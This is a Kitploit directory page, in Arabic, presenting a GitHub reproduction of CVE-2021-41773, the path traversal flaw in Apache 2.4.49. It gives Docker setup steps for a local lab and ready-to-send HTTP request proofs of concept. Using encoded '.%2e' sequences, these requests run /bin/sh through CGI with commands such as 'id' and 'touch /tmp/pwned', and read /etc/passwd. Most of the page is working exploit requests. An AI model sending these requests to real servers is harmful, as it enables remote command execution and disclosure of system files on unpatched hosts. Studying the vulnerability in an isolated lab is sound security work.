Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-41773 — إعادة إنتاج CVE-2021-41773 | Kitploit
أدوات/GitHubGitHub/1nhann/cve-2021-41773
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHub1nhann/cve-2021-41773

CVE-2021-41773

إعادة إنتاج CVE-2021-41773

عرض المستودع
94منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2021-41773

https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

ثغرة فريدة في Apache v2.4.49، الإصدارات الأقدم لا تحتوي على دالة ap_normalize_path، تم تقديم هذه الدالة في الإصدار v2.4.49، وهي التي تسببت في اجتياز الدليل، وتم إصلاحها في الإصدار v2.4.50

البيئة

https://github.com/1nhann/CVE-2021-41773

في هذه البيئة، تم تحميل وحدة CGI:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so
root@kitploit:~
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve

داخل الحاوية: image-20211006213843476

poc

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close

image-20211006210008166

تم تنفيذ /bash.cgi من الجذر

الحصول على شيل (getshell)

راجع وثائق Apache حول CGI:

STDIN و STDOUT

يحدث التواصل الآخر بين الخادم والعميل عبر الإدخال القياسي (STDIN) والإخراج القياسي (STDOUT). في السياق اليومي العادي، STDIN يعني لوحة المفاتيح، أو ملفًا يُعطى للبرنامج للعمل عليه، وSTDOUT عادةً ما يعني وحدة التحكم أو الشاشة.

عندما تقوم بـ POST نموذج ويب إلى برنامج CGI، يتم تجميع البيانات في ذلك النموذج بتنسيق خاص ويتم تسليمها إلى برنامج CGI الخاص بك عبر STDIN. يمكن للبرنامج بعد ذلك معالجة تلك البيانات كما لو كانت قادمة من لوحة المفاتيح أو من ملف.

"التنسيق الخاص" بسيط جدًا. يتم ضم اسم الحقل وقيمته معًا بعلامة يساوي (=)، ويتم ضم أزواج القيم معًا بعلامة العطف (&). يتم تحويل الأحرف غير المناسبة مثل المسافات وعلامات العطف وعلامات المساواة إلى ما يعادلها بالنظام الست عشري حتى لا تعطل العمل. قد تبدو سلسلة البيانات الكاملة شيئًا مثل:

root@kitploit:~
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey

بمعنى آخر، سيتم تمرير المعلمات المرسلة عبر POST كمحتوى stdin إلى برنامج CGI الذي يتم الوصول إليه.

إذا تم الوصول إلى /bin/sh، فيمكن الحصول على شيل (getshell) مباشرة.

poc:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

data=;touch /tmp/pwned

image-20211006213421718

يمكن أيضًا عرض نتيجة تنفيذ الأمر مباشرة:

poc:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

قراءة أي ملف

إذا لم يتم تحميل وحدة CGI، فلن يتم تشغيل الملف الذي تم الوصول إليه:

root@kitploit:~
#LoadModule cgi_module modules/mod_cgi.so

poc:

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close

image-20211006232521116

تنزيل الأداة